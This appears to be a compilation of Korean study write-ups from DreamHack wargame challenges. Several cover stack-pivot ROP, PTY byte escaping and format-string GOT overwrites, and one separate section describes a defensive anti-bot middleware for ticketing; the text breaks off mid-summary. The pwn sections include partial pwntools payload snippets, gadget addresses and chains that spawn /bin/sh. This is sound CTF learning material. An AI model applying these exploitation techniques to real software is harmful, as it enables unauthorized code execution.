if b <= 0x1f or b == 0x7f:

처음에는 위 표에 나온 문자 몇 개만 escape했는데, 그걸로는 부족했다. 0x00~0x1f 범위에는 알려진 것 외에도 canonical mode에서 특수 처리될 수 있는 바이트가 더 있다. 그냥 제어 문자 전부를 escape하는 게 안전하다. 이 범위 차이가 성공과 실패를 갈랐다.

1. 입력 방식 구분

PTY 환경에서는 send와 sendline의 구분이 더 중요해진다.

# 첫 번째 입력: tty_escape 적용 후 수동으로 개행 추가
p.sendafter(b'Input:', tty_escape(payload) + b'\n')

# 두 번째 입력: 오버플로우 payload
p.sendlineafter(b'Name:', tty_escape(payload2))

sendline이 자동으로 붙이는 개행까지 감안해서 payload 크기를 계산해야 한다.

2. libc leak 파싱

puts로 GOT 엔트리를 출력해서 libc 주소를 leak하는 건 일반적인 ROP 기법이다. 근데 PTY 환경에서는 출력 데이터에도 \r\n이 섞이거나 바이트가 변형될 수 있어서 파싱에 주의해야 한다.

libc 주소는 유저 영역 상위에 매핑되기 때문에 특정 바이트로 시작한다는 특성이 있다. 이걸 이용해서 leak 데이터에서 유효한 주소를 필터링할 수 있다.

3. 전체 exploit 흐름

최종 exploit의 큰 흐름은 이렇다:

Stage 0: PIE base leak
  ├─ 프로그램이 출력하는 token 값에서 PIE base 계산

Stage 1: libc leak
  ├─ 첫 번째 입력에 ROP chain 배치
  │   └─ puts(GOT entry) → main 복귀
  ├─ 두 번째 입력으로 stack pivot (saved rbp 조작)
  │   └─ leave; ret으로 RSP를 ROP chain이 있는 곳으로 이동
  └─ puts 출력에서 libc base 계산

Stage 2: 쉘 획득
  ├─ 두 번째 라운드 첫 번째 입력에 최종 ROP chain 배치
  │   └─ execve("/bin/sh", NULL, NULL)
  └─ interactive!

Stack Pivot이 핵심 기법이다. 두 번째 입력에서 16바이트밖에 오버플로우가 안 되니까, saved rbp를 조작해서 leave; ret gadget으로 RSP를 원하는 곳(첫 번째 입력으로 넣어둔 ROP chain이 있는 BSS 영역)으로 옮기는 거다.

leave 명령어의 동작:
  mov rsp, rbp    ← RSP를 조작된 rbp 값으로 변경
  pop rbp         ← 새 위치에서 rbp pop

ret:
  pop rip         ← 새 위치에서 다음 gadget 실행

이렇게 하면 16바이트 오버플로우만으로도 긴 ROP chain을 실행할 수 있다.

4. execve 호출을 위한 gadget 조합

최종 쉘 획득에는 system 대신 execve를 사용했다. execve("/bin/sh", NULL, NULL)을 호출하려면 rdi, rsi, rdx 세 개의 레지스터를 세팅해야 한다.

문제는 pop rdx; ret 같은 깨끗한 gadget이 없을 때가 많다는 거다. 이럴 때 쓸 수 있는 우회 기법이 있다:

xor eax, eax     ← eax = 0
xchg edx, eax    ← edx = 0 (eax와 교환)

이런 식으로 간접적으로 레지스터를 세팅하는 gadget 조합을 찾아야 한다. ROPgadget으로 libc를 뒤져보면 의외로 쓸만한 조합이 나온다.

추가 실험

escape가 필요한 주소 사전 체크

exploit 작성할 때 미리 각 주소에 bad byte가 포함되어 있는지 확인하는 습관을 들이면 좋다:

bad_bytes = set(range(0x00, 0x20)) | {0x7f}

for name, addr in gadgets.items():
    addr_bytes = p64(addr)
    needs_escape = any(b in addr_bytes for b in bad_bytes)
    print(f"{name}: needs escape = {needs_escape}")

실제로 확인해보면 PIE 바이너리의 gadget 주소에는 0x1a(Ctrl+Z), 0x15(Ctrl+U) 같은 바이트가 꽤 자주 들어가있고, libc 주소는 거의 100% 0x7f(DEL)를 포함한다. PTY 환경에서는 tty_escape 없이 exploit하는 게 사실상 불가능하다.

ret sled

ROP chain 앞에 ret gadget을 여러 개 넣는 기법도 사용했다. 이건 두 가지 목적이 있다:

• 스택 정렬: x86_64에서 일부 libc 함수(특히 system, execve)는 16바이트 정렬을 요구한다
• NOP sled 대용: stack pivot 후 정확한 landing 위치를 맞추기 어려울 때 ret sled로 여유를 둔다

실제로 겪은 문제들과 해결법

1. payload 보냈는데 EOF 발생 → 주소에 0x03(SIGINT), 0x04(EOF) 같은 바이트가 포함되어 있을 가능성 높다. tty_escape 적용해야 한다.

2. payload 일부가 잘리거나 변형됨 → 0x7f(백스페이스)가 직전 바이트를 삭제하고 있을 수 있다. debug 모드로 실제 전송 바이트 확인하자.

3. 로컬에서 되는데 리모트에서 안 됨 → Dockerfile에서 socat 옵션 확인. pty,sane이 있으면 PTY canonical mode가 적용되는 거다.

4. tty_escape 적용했는데도 안 됨 → escape 범위를 확인하자. 특정 문자 몇 개만 하면 안 되고, 0x00~0x1f 전체 + 0x7f를 해야 한다.

5. libc leak 값이 이상함 → PTY가 출력 데이터도 변형할 수 있다. \r\n 변환이 일어나는 경우가 있으니 recv 데이터를 hex로 찍어보고 파싱 로직을 조정해야 한다.

핵심 교훈

마치며

이번 문제에서 가장 크게 배운 건 exploit 환경을 먼저 파악해야 한다는 거다. 취약점 자체는 단순한 BOF인데, PTY 환경이라는 변수 하나 때문에 하루 종일 삽질했다.

앞으로는:

• Dockerfile이나 서버 설정 먼저 확인하기
• 주소에 포함된 특수 바이트 미리 체크하기
• debug 모드로 실제 통신 내용 확인하기

66번의 실패가 있었지만, 덕분에 PTY canonical mode가 exploit에 어떤 영향을 미치는지 확실하게 체득했다. 이론으로 배우면 "아 그렇구나" 하고 넘어갈 내용인데, 직접 하루 종일 삽질하니까 절대 안 잊혀진다.

무엇보다 "왜 안 되지?"라는 질문을 멈추지 않은 게 결국 답을 찾게 해줬다.

출처: DreamHack 워게임 - hibye

1. 티켓팅 백엔드 앞단에서 risk score로 요청을 분류하고, MID/HIGH 트래픽에 랜덤 지연 과 302 리다이렉트 챌린지를 건다.
2. 브라우저는 302를 자연스럽게 따라가며 HttpOnly 쿠키 토큰을 받고 복귀하지만, 단순 자동화는 흐름이 끊기기 쉽다.
3. 킬스위치/임계값/지연범위/화이트리스트를 ENV로 즉시 조절하게 만들어서 운영 레버를 잡는 게 목표다.

시작하며

티켓팅은 트래픽이 “그냥 많다” 수준이 아니라, 정해진 시간에 폭발한다.
그리고 그 폭발의 일부는 사람이 아니라 자동화가 만든다.

단순하게 403/429를 박아도 되긴 하는데, 여기서 문제가 생긴다.

• 매크로는 거절당하면 재시도한다
• 프록시/IP 로테이션으로 회피 비용을 낮춘다
• 결국 서버는 “차단 응답”을 만드는 데도 리소스를 쓴다

그래서 이 PoC는 방향을 바꿨다.

• 아예 “너 접근 금지”라고 말하기보단
• 흐름을 꼬아서 자동화가 값비싸지게 만들고,
• 정상 브라우저는 최대한 자연스럽게 통과시키는 쪽이다.

이 프로젝트가 해결하려는 문제 정의

여기서 내가 한 선택은 “완벽 탐지”가 아니라 완화(mitigation) 레이어다.
즉, “1차 방어에서 자동화를 흔들고 서버 부담을 줄이는 장치”다.

핵심 아이디어: 고의적 지연 + 302 챌린지

전체 플로우 (ASCII)

Client
  |
  |  (1) Request
  v
Guard Middleware
  |  - whitelist?
  |  - rate count (Redis)
  |  - risk score
  |  - action 결정(pass/delay/redirect)
  |
  +--> PASS  ----------------------------> Origin handler (/seat, /reserve, /pay ...)
  |
  +--> DELAY (100~800ms 랜덤) ----------- > Origin handler
  |
  +--> REDIRECT (302) --> /challenge?return_to=/seat
                               |
                               |  (2) token 발급 + HttpOnly 쿠키 set
                               v
                        302 -> return_to 로 복귀

이 설계 자체는 README에 적어둔 흐름 그대로다.

왜 302 리다이렉트가 먹히냐?

여기서 포인트는 “리다이렉트 자체”가 아니다.
포인트는 자동화 클라이언트의 허술함이다.

• 브라우저: 302 따라감 + 쿠키 저장 + 다음 요청에 쿠키 포함
• 단순 매크로/스크립트:
  • -L 안 붙이면 302에서 멈춘다
  • 쿠키 jar 안 쓰면 상태가 이어지지 않는다
  • UA/헤더가 비어있으면 점수도 올라간다

즉, 이 PoC는 “봇을 못 들어오게” 막는 게 아니라, 봇이 들어오면 더 귀찮아지게 만든다.

구현 상세: 파일 단위로 뜯어보기

구성 요소 한 장 요약

GuardMiddleware: “여기서 다 결정된다”

핵심 정책(진짜 중요)

• GUARD_ENABLED=false면 즉시 우회(킬스위치)
• 화이트리스트(IP/경로/UA)는 무조건 통과
• /challenge 자체는 가드가 다시 건드리면 루프 난다 → 내부 엔드포인트는 bypass
• 점수 구간별 액션:
  • HIGH: 무조건 redirect
  • MID: 40% redirect, 아니면 랜덤 지연 (아니면 둘다 예정)
  • LOW: pass

코드 스니펫 (미들웨어 액션 분기)

# app/middleware.py (요지)
if score >= cfg.score_high:
    return _redirect_to_challenge(path)

if score >= cfg.score_mid:
    if random.random() < 0.4:
        return _redirect_to_challenge(path)
    else:
        await asyncio.sleep(delay_ms / 1000.0)
        return await call_next(request)

이건 “너 봇이냐”를 맞추는 게 아니라, “너 좀 수상하네? 그럼 번거로운 루트로 돌아가” 라는 느낌이다.

Risk Score: 점수화는 이렇게 했다

정교한 ML 모델이 아니라, 운영에서 바로 쓸 수 있는 신호를 가볍게 점수로 합산했다.

스코어 룰 요약표

점수는 최대 100으로 캡을 씌웠다.

302 챌린지: 토큰은 어떻게 발급/검증하나

토큰 내용

토큰은 JSON payload + HMAC SHA-256 서명으로 구성한다.

이렇게 하면 토큰이 유출되더라도 다른 IP/UA에서 그대로 재사용하기 어렵다. (완벽은 아니지만, PoC에서 현실적인 수준)

쿠키 설정

/challenge는 토큰을 HttpOnly 쿠키로 내려주고, 원래 경로로 302 복귀시킨다.

• HttpOnly=True
• SameSite=lax
• max_age=TOKEN_TTL_SECONDS

# app/routes.py (요지)
response.set_cookie(
  key="trg_token",
  value=token,
  httponly=True,
  max_age=cfg.token_ttl_seconds,
  samesite="lax",
  path="/",
)
return RedirectResponse(url=safe_return, status_code=302)

Redis 슬라이딩 윈도우 카운터: 왜 ZSET을 썼나

IP별로 rate:{ip}:short, rate:{ip}:long 두 개 ZSET을 둔다.

• score: timestamp
• member: timestamp 문자열(중복 허용 목적)

그리고 “현재 시각 - 윈도우” 이전 데이터는 잘라낸 뒤 zcard로 개수를 센다.

이 방식 장점은 단순하다.

• in-memory KV보다 “정확한 윈도우 유지”가 쉽다
• 만료(expire)로 키를 자동 청소할 수 있다

실행 방법: 로컬에서 바로 돌리기

요구사항

• Docker + Docker Compose
• 포트: 8000(FastAPI), 6379(Redis)

실행

docker compose up --build -d
curl http://localhost:8000/health

테스트 스크립트

레포에 검증 스크립트도 넣어놨다.

bash tests/test_scenarios.sh

실전 느낌 테스트: curl로 “정상 vs 의심” 비교

정상 유저 시나리오(브라우저처럼)

curl -v -c cookies.txt -L   -H "User-Agent: Mozilla/5.0"   -H "Accept-Language: ko-KR,ko;q=0.9"   http://localhost:8000/seat

curl -b cookies.txt   -H "User-Agent: Mozilla/5.0"   -H "Accept-Language: ko-KR,ko;q=0.9"   http://localhost:8000/seat

의심 트래픽 시나리오(헤더 없이 빠르게)

for i in $(seq 1 25); do
  curl -s -o /dev/null -w "요청 %2d -> HTTP %{http_code}
"     http://localhost:8000/seat
done

메트릭과 로그: 운영자가 봐야 하는 것

메트릭(/metrics)

현재 카운터/지연 평균을 JSON으로 준다.

curl http://localhost:8000/metrics | python3 -m json.tool

구조화 로그(JSON)

가드 결정은 guard_decision으로 찍히고, extra 필드로 path/ip/score/action/delay_ms/reason이 들어간다.

{
  "ts": "2026-02-26T00:00:00+00:00",
  "level": "INFO",
  "msg": "guard_decision",
  "path": "/seat",
  "ip": "203.0.113.10",
  "score": 75,
  "action": "redirect",
  "delay_ms": 0,
  "reason": "short_rate=20/15,no_cookie_or_session,empty_ua"
}

위 JSON은 “형식 예시”고, 실제 포맷은 logging_config.py에서 정의한 구조 그대로 나온다.

설정(ENV): 운영 레버를 표로 정리

.env.example 기준으로 정리한다.

“이거 실무에 붙이면?” 체크리스트

1) return_to 검증(오픈 리다이렉트 방지)

현재 /challenge는 return_to를 unquote해서 그대로 Redirect한다. 실서비스면 반드시 다음을 넣어야 한다.

• return_to는 내부 path만 허용(/로 시작 + 도메인/스킴 금지)
• 허용 리스트 방식이 더 안전하다(예: /seat, /reserve만)

2) 토큰의 “사용 여부” 처리

지금 구현은 jti를 Redis에 저장하는 유틸이 있고, 발급 시 mark_jti_used를 호출한다.
근데 검증(/challenge/verify)에서는 “jti 재사용 체크”를 아직 강하게 쓰진 않는다.

실무라면 보통 이런 선택지가 있다.

PoC의 의도는 “가볍고 빠른 완화”라서 여기서 타협한 거다.

3) Redis 장애 시 정책

rate limiter가 Redis를 전제로 돌아간다. 실서비스는 Redis 터지면 “전부 redirect” 같은 보수적 정책이 오히려 장애를 키울 수 있다.

• 티켓팅은 장애 = 매출/신뢰 손실이라
• 보통은 “최소 지연 + 통과” 같은 fail-open 성격이 안전한 경우가 많다

한계

이건 “봇 완전 박멸기”가 아니다.

• 제대로 만든 봇은 302 따라가고 쿠키도 저장한다
• 튜닝을 못 하면 정상 유저도 지연/리다이렉트에 걸려 UX가 흔들릴 수 있다

그래서 포지션은 이렇게 잡는 게 맞다.

단독 방어책이 아니라, 게이트웨이 레이어에서 자동화를 흔드는 2차 완화 장치다.

마치며

이 PoC는 “탐지 정확도”보다 “운영 레버”에 더 초점을 뒀다.

• 오픈 직전 갑자기 봇 파도 들어올 때
• WAF/레이트리밋만으론 비용이 감당 안 될 때
• 일단 서버를 살려야 할 때

완벽하진 않다. 근데 “완화 레이어”로는 충분히 의미 있다고 본다.
다음은 이거를 실제 플로우에 붙이면서 튜닝 데이터(메트릭/로그) 쌓고, 챌린지 강화로 넘어가면 된다.

부록 A. 기술 스택

부록 B. 로컬 구성(docker-compose)

services:
  redis:
    image: redis:7-alpine
    ports:
      - "6379:6379"
  api:
    build: .
    ports:
      - "8000:8000"
    env_file:
      - .env
    depends_on:
      redis:
        condition: service_healthy

출처: DreamHack 워게임 exestack
분야: Pwnable
키워드: Stack Buffer Overflow, Execstack, ret2shellcode, ASLR brute-force(개념)
주의: 원격에 바로 재사용 가능한 익스플로잇 코드/정확한 타겟 정보/고정 주소값은 의도적으로 제거했다. 대신, 네가 잡아낸 핵심 인사이트(에필로그 구조 + execstack + ASLR 대응 아이디어)를 중심으로 정리했다.

3줄 요약

1. scanf("%s", buf) 길이 제한이 없어서 1MB 스택 버퍼를 넘어서는 BOF가 난다.
2. 빌드 옵션이 -z execstack -fno-stack-protector -m32라서 스택 실행 가능 + 카나리 없음 + 32비트 조합이 된다.
3. main 에필로그가 pop ecx → lea esp, [ecx-4] 형태라서, 단순 saved EIP 덮기보다 스택 피봇(ESP 재설정) 관점으로 봐야 한다.

1. 배경

프로그램은 입력 길이 제한이 전혀 없는 상태에서 1MB 크기의 스택 버퍼에 문자열을 저장한다.
게다가 Makefile을 보면 NX/Canary 같은 현대 방어를 의도적으로 꺼놨다. 목표는 요약하면 이거다.

• 스택에 셸코드를 심는다
• 제어 흐름을 스택으로 보낸다
• (ASLR이 있으면) 정확한 주소를 모르는 문제를 “확률/반복” 관점으로 해결한다

2. 보호 기법(checksec) 해석

핵심은 No canary + Executable stack 조합이다. 이 조합이면 “스택에 코드 올리고 실행”이 가장 직관적인 방향이 된다.

3. 분석

3.1 Makefile 분석

CC = gcc
CFLAGS = -Wall -Wextra -Werror -g -z execstack -m32 -fno-stack-protector

옵션 해석은 아래처럼 정리된다.

3.2 소스 코드 핵심

#include <stdio.h>

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char buf[0x100000];
    scanf("%s", buf);
}

• setvbuf(... _IONBF ...)는 입출력 버퍼링을 꺼서 원격/로컬에서 출력 타이밍을 예측 가능하게 만든다.
• scanf("%s", buf)가 진짜 핵심이다. %s는 공백 전까지 읽지만 길이 제한이 없다.
  → 입력이 길면 buf 이후 스택 데이터를 덮는다.

4. 취약점: Stack Buffer Overflow

일반적인 스택 프레임 개념도는 이렇다.

높은 주소
+---------------------------+
| saved return address (EIP)|
+---------------------------+
| saved EBP                 |
+---------------------------+
| saved regs / alignment    |
+---------------------------+
| local buf[0x100000]       |
+---------------------------+
낮은 주소

보통 BOF는 saved EIP를 덮어서 흐름을 바꾼다.
근데 이 문제는 함수 에필로그가 특이해서 “EIP 덮기 전에 스택이 먼저 터지는” 그림이 자주 나온다.

5. 진짜 인사이트: main 에필로그가 ECX로 ESP를 잡는다

GDB에서 main 끝부분을 보면 이런 흐름이 나온다.

call   __isoc99_scanf@plt
add    esp, 0x10
mov    eax, 0
lea    esp, [ebp-0x8]
pop    ecx
pop    ebx
pop    ebp
lea    esp, [ecx-0x4]
ret

여기서 핵심은 두 줄이다.

• pop ecx
• lea esp, [ecx-0x4]

5.1 왜 이게 중요한가

BOF로 스택이 덮이면, 에필로그에서 pop ecx가 읽어야 할 “정상 값”이 깨진다.
그럼 ECX가 공격자가 만든 값(혹은 쓰레기 값)이 된다.

그리고 바로 다음 줄에서:

• ESP = ECX - 4

가 돼버린다. 즉, 스택 포인터가 ECX 기반으로 재설정된다.

결과적으로 흔히 이런 현상을 본다.

이게 이 문제의 “기본 BOF랑 다른” 포인트다.

5.2 디버깅 때 관찰 포인트

에필로그에서 한 줄씩 보면 답이 나온다.

• pop ecx 직후: ECX 값이 정상인지/깨졌는지
• lea esp, [ecx-4] 직후: ESP가 스택 범위 안인지/밖인지
• ret 실행 시점: [ESP]를 못 읽어서 SIGSEGV가 나는지

6. ASLR 문제와 “확률” 접근(개념)

이 문제에서 남는 난점은 이거다.

• 스택 실행은 가능하다.
• 셸코드를 스택에 올릴 수 있다.
• 하지만 스택 주소가 매번 바뀌면, “정확히 어디로 점프하냐”가 문제다.

그래서 실전에서는 보통 다음 중 하나를 고민한다.

1. 주소 누출(leak)이 있으면 그걸로 정확한 주소를 만든다
2. 누출이 없으면 “확률을 올리는 구조”를 만든다(개념적으로)
   • 넓은 NOP 구간(슬레드)
   • 스택 내부의 “대략 범위”를 겨냥한 점프
   • 반복 시도로 성공 확률 누적

여기서 중요한 건, 1MB 버퍼가 커서 ‘맞을 공간’이 넓어질 수 있다는 점이다.
(정확한 수치/주소는 환경마다 달라서 여기선 원리만 적는다.)

7. 익스플로잇 시나리오(아이디어만)

아래는 실행 가능한 코드가 아니라 “흐름 요약”이다.

1. 스택 버퍼에 실행 가능한 페이로드(셸코드 포함)를 배치한다
2. 에필로그에서 참조되는 값들이 어떻게 스택을 재구성하는지 이해하고, 그 흐름이 원하는 실행 경로로 이어지게 만든다
3. ASLR 때문에 실패할 수 있으니, 성공 확률을 올리는 구조(개념)를 적용한다
4. 성공하면 셸을 통해 기본 명령으로 확인하고(예: 환경 확인), 최종 목표를 수행한다

8. 핵심 정리

9. 마치며

이 문제는 “execstack이니까 그냥 EIP 덮고 점프”로 끝나는 문제가 아니었다.
에필로그가 ECX로 ESP를 다시 잡는 구조라서, 디버깅을 제대로 안 하면 ret에서 계속 멈춰 죽는 것처럼 보인다.

결국 답은 항상 디버거에 있었다.
pop ecx 이후 ECX가 무엇이 되는지, 그리고 lea esp, [ecx-4]로 ESP가 어디로 가는지만 보면 전체 그림이 정리된다.

3줄 요약

1. main에서 buf[0x30]에 read(0, buf, 0x40)을 호출해서 SFP/RIP까지 덮는 BOF가 터진다.
2. leave; ret로 RBP 프레임을 bss로 피벗시키고, main 내부 read 블록을 재사용해서 bss에 ROP를 조립한다.
3. puts(puts@got)로 libc를 릭한 뒤, libc 베이스 기준으로 execve("/bin/sh",0,0) 체인을 구성해서 마무리한다.

1. 들어가며

처음엔 그냥 BOF 같아 보이는데, 가젯도 부족하고 릭도 없어 보여서 헷갈리기 쉬운 타입이다.
근데 이 문제는 “가젯 찾아서 화려하게 ROP”가 핵심이 아니라, main 에필로그의 leave; ret로 프레임을 bss로 옮기고, main 내부 read 코드 블록을 재사용해서 bss에 체인을 쌓는 구조가 핵심이다.

2. 취약점 개념

2.1 Stack Buffer Overflow

main() 내부에 정의되어 있는 buf의 크기는 0x30인데, 0x40만큼의 입력을 받기 때문에 스택 버퍼 오버플로가 발생한다. 따라서 main() 에필로그의 leave, ret 과정을 이용해 프로그램의 흐름을 임의로 조작할 수 있다.

취약 부분(의미만):

// Title: vulnerable read
char buf[0x30];
read(0, buf, 0x40); // overflow

2.2 왜 leave; ret가 먹히냐

leave와 ret은 사실상 아래 동작이다.

• leave:
  • rsp = rbp
  • rbp = [rsp]
• ret:
  • rip = [rsp+8]

즉, BOF로 saved rbp(SFP) 와 saved rip를 덮으면 함수 종료 시점에:

• “스택 포인터가 어디로 갈지”
• “그 다음에 어디로 점프할지”

를 내가 정할 수 있다.

3. 문제 상황: 첫 시도와 실패

3.1 첫 번째 시도: libc 주소 고정 박기

로컬에서 보이는 libc 주소(예: 0x7ffff7...)를 그대로 원격에 쓰면 깨진다. ASLR 때문에 libc 베이스가 매번 바뀌기 때문이다.
그래서 릭 없이 system/execve 실제 주소를 바로 호출하는 방식은 실패한다.

3.2 두 번째 시도: 가젯만으로 ROP 짜기

이 바이너리는 pop rdi 같은 최소 가젯은 있어도, pop rsi, pop rdx 같은 인자 세팅 가젯이 빈약한 편이다.
그래서 “가젯 수집전”으로 밀면 시간만 날리기 쉽다.

4. 문제의 원인: 디버깅으로 본 실제 동작

4.1 main 내부의 read 블록이 사실상 가젯이다

main을 보면 다음 블록이 존재한다:

0x401211: lea rax, [rbp-0x30]
0x401215: mov edx, 0x40
0x40121a: mov rsi, rax
0x40121d: mov edi, 0
0x401222: call read@plt
...
0x40123b: leave
0x40123c: ret

여기서 핵심:

• read의 목적지 = rbp - 0x30
• 즉, RBP만 bss로 피벗하면 read는 자동으로 bss로 써준다.

4.2 메모리 구조를 그림으로 보면 바로 이해된다

초기 main 스택 프레임:

stack (main)

rbp -> +------------------------+
       | saved rbp (SFP)        |
       +------------------------+
       | saved rip              |
       +------------------------+
       | buf[0x30]              |
rsp -> +------------------------+

BOF로 덮는 목표:

• saved rbp = bss + 원하는 오프셋
• saved rip = 0x401211 (main의 read 블록으로 복귀)

그 다음 함수 종료 시:

leave; ret

rsp = rbp
rbp = [rsp]        <- 내가 덮어둔 값
rip = [rsp+8]      <- 내가 덮어둔 값

결과적으로 “가짜 스택 프레임을 bss에 만들고 그걸 타는 구조”가 된다.

5. 해결 방법

5.1 익스플로잇 시나리오(요약)

1) SFP 조작을 이용해 rbp를 bss 영역으로 조작하고 main() 내부의 read()로 리턴
2) bss 영역에 ROP Chain 구성: puts(puts@got)
3) puts@got 릭을 통해 libc 베이스 주소 계산
4) 릭한 libc base 주소를 기반으로 /bin/sh, execve(), pop rsi 가젯 주소 계산
5) 다시 main() 내부의 read()를 이용해 bss 영역에 ROP Chain 구성: execve("/bin/sh", 0, 0)
6) 구성한 ROP Chain으로 셸 실행

5.2 핵심 값/가젯 정리

6. 디버깅 로그로 확인한 체크포인트

6.1 bss로 write 되는지 확인

두 번째 read 직전 레지스터가 이렇게 나오면 성공이다:

• rbp = 0x404830
• rsi = 0x404800 (= rbp-0x30)
• rdx = 0x40

GDB/pwndbg 명령어:

b *0x401222
b *0x40123b
# ...
i r rsi rbp rdx rip

6.2 왜 BBBB 넣으면 죽는지 확인

bss에 0x40을 전부 B로 채우면, bss의 특정 오프셋이 다음 흐름이 된다.

• bss+0x30 : next rbp
• bss+0x38 : next rip

여기도 0x424242...가 되면 leave; ret 이후 바로 크래시 나는 게 정상이다.

7. 핵심 교훈

8. 코드 스니펫 (학습/분석용)

아래는 “구조를 설명하기 위한 스니펫”이다.

8.1 Stage 1: BOF로 rbp 피벗 + read 블록 재진입

# Title: stage1 pivot into bss
from pwn import *

e = ELF("./chall")
bss = e.bss()

read_blk = 0x401211

payload  = b"A" * 0x30
payload += p64(bss + 0x300)  # saved rbp -> bss로 피벗
payload += p64(read_blk)     # saved rip -> main read 블록으로 재진입

# send(payload)

8.2 Stage 2: puts(puts@got)로 libc leak 만들기 (아이디어)

# Title: stage2 leak idea
from pwn import *

e = ELF("./chall")
bss = e.bss()

pop_rdi   = 0x4011db
leave_ret = 0x40123b
read_blk  = 0x401211

puts_got = e.got["puts"]
puts_plt = e.plt["puts"]

# bss 프레임에 "puts(puts@got) -> 다시 read" 체인 조립
chain  = p64(bss + 0x400)   # 다음 rbp(프레임) 위치
chain += p64(pop_rdi)
chain += p64(puts_got)
chain += p64(puts_plt)
chain += p64(read_blk)

# bss 프레임 규칙 때문에 뒤쪽(next rbp/next rip)를 맞춰야 하는데,
# 이건 디버깅으로 프레임 레이아웃을 확인하면서 조정한다.

9. 마치며

이 문제는 “ret2libc 박치기”로 풀리는 문제가 아니라, 프레임 피벗을 전제로 bss에 체인을 조립하는 문제라는 걸 이해하는 순간 길이 열린다.
특히 main 내부 read(rbp-0x30, 0x40) 블록이 사실상 “가젯 세트”라는 점을 깨닫는 게 핵심이다.

출처: Dreamhack 워게임(문제/환경 기반 개인 학습 정리)

내가 계속 헷갈렸던 포인트를 한 번에 정리한 문서다
공백을 찍어서 숫자를 만든다는 건 이해했는데, 그게 왜 GOT에 대입처럼 써지는지 연결이 안 됐던 부분을 풀었다

0. 한 줄 결론

FSB write는 결국 이 한 줄로 요약된다

*(uint16_t*)TARGET = (printed_chars & 0xffff);

여기서

• TARGET이 GOT 엔트리 주소가 되게 만들면 GOT overwrite가 된다
• printed_chars를 원하는 값으로 맞추면 그 값이 써진다

이 두 개를 포맷 스트링으로 동시에 달성하는 게 exploit의 본체다

1. printf 내부에 카운터가 있다는 게 핵심

printf는 뭘 출력할 때마다 내부적으로 이런 값을 계속 증가시킨다

• printed_chars = 지금까지 출력한 문자 수

여기서 중요한 건 공백도 문자라는 점이다
보이는 글자든 공백이든 전부 1글자로 카운트된다

2. %n 계열은 출력이 아니라 쓰기다

%n 계열 specifier는 화면에 글자를 찍지 않는다
대신 카운터 값을 메모리에 기록한다

종류별 의미는 이렇게 보면 된다

즉 %hn을 만나면 printf가 내부적으로 하는 일은 이거다

short *p = (short*)ptr;
*p = (short)printed_chars;

그래서 카운터 올리기가 곧 쓰기 값 만들기로 직결된다

3. 카운터를 원하는 값으로 만드는 방법이 %Nc

exploit에서 쓰는 트릭은 %Nc다

• %c는 원래 문자 1개 출력이다
• 근데 width를 N으로 주면 폭을 N으로 맞추기 위해 공백을 채운다
• 결과적으로 공백이든 뭐든 합쳐서 총 N글자 출력 상태가 된다

즉

%4660c

이게 실행되면 화면에는 공백이 대부분이고 마지막에 문자 1개가 찍히는 느낌인데
중요한 건 printed_chars가 4660이 된다는 점이다

4. 이제 대입이 GOT에 성립하는 연결고리

여기서부터가 핵심이다

4.1 %5$hn은 무엇을 의미하나

%5$hn은 아래를 의미한다

• 5번째 인자를 포인터로 해석한다
• 그 포인터가 가리키는 곳에 printed_chars를 2바이트로 기록한다

개념적으로는 이거다

short *p = (short*)arg5;
*p = (short)printed_chars;

즉 5번째 인자 값이 어디에 쓸지 결정한다

4.2 그래서 해야 하는 건 딱 하나

arg5가 GOT 주소가 되게 만들면 된다

즉

arg5 == exit_got

을 성립시키면

*(uint16_t*)exit_got = printed_chars;

가 된다

이 순간 카운터가 GOT에 대입되는 게 성립한다

5. arg5가 왜 exit_got이 되냐

여기가 FSB에서 제일 자주 쓰는 트릭이다

5.1 printf(buf)는 인자를 안 주는데도 인자를 읽으려 한다

코드가 이런 구조다

read(0, buf, 0x80);
printf(buf);

printf는 포맷스트링에 %5$hn 같은 게 있으면 5번째 인자를 읽으려 한다
근데 호출자는 실제로 인자를 안 줬다
그래서 printf는 그 자리에 있던 값을 그냥 인자인 것처럼 읽는다

이게 UB인데, 실전에서는 그대로 재현되는 경우가 많다

5.2 공격자는 그 자리에 있던 값을 내가 원하는 값으로 만든다

payload 끝에 target 주소를 붙인다

포맷스트링 + exit_got 주소 4바이트

그럼 이 4바이트 값이 메모리 어딘가에 올라가고
printf가 5번째 인자 슬롯을 읽을 때 그 위치를 읽도록 오프셋을 맞추면

• arg5가 곧 exit_got이 된다

즉 운이 아니라 배치다

여기서 5라는 숫자는 보편 공식이 아니라 실측 결과일 수 있다
환경이 바뀌면 6이나 7이 될 수도 있다

6. 전체 흐름을 한 번에 정리

핵심 구조는 보통 이렇다

1) 출력량을 원하는 값으로 맞춘다

%{under}c

이게 끝나면 printed_chars = under 상태가 된다

2) %hn으로 그 값을 목표 주소에 쓴다

%5$hn

이게 실행되면

*(uint16_t*)arg5 = (under & 0xffff);

3) payload 끝에 exit_got를 붙여서 arg5가 exit_got이 되게 한다

결과적으로

*(uint16_t*)exit_got = under;

가 된다

그리고 exit 호출이 일어나면 GOT가 가리키는 함수가 바뀌어서 흐름이 꺾인다

7. under를 왜 int.from_bytes로 만드는가

under는 get_shell 주소의 하위 2바이트를 정수로 만든 값이다

예를 들어 get_shell 주소가 0x08048609면
리틀엔디안 바이트열은

• 09 86 04 08

하위 2바이트만 보면

• 09 86

이걸 little endian 정수로 해석하면

• 0x8609

이게 under다

그리고 %{under}c에서 under는 숫자여야 하니까
bytes를 정수로 바꾸는 과정이 필요하다

8. 내 체크리스트

FSB write가 안 먹힐 때 나는 이 순서로 확인한다

• %p 스캔으로 내가 붙인 주소가 몇 번째 슬롯에 보이는지부터 확정한다
• 그 번호를 %n$hn에 넣는다
• payload 길이를 조절해서 주소가 word 경계에 안정적으로 올라가게 맞춘다
• %Nc로 출력량을 원하는 값으로 만든다
• %hn이 쓰는 값은 2바이트로 잘린다는 걸 항상 염두에 둔다

마치며

내가 계속 헷갈렸던 이유는
공백 출력과 메모리 쓰기가 연결되는 규칙을 머릿속에 한 줄로 못 박아두지 못해서였다

이제는 그냥 이렇게 외우면 된다

• %Nc로 printed_chars를 만들고
• %n으로 printed_chars를 메모리에 쓴다
• 그 메모리 주소는 내가 인자 슬롯에 깔아서 공급한다

3줄 요약

1. printf(user_input)는 사용자가 포맷 스트링을 조종해서 스택과 레지스터를 읽을 수 있는 구조다
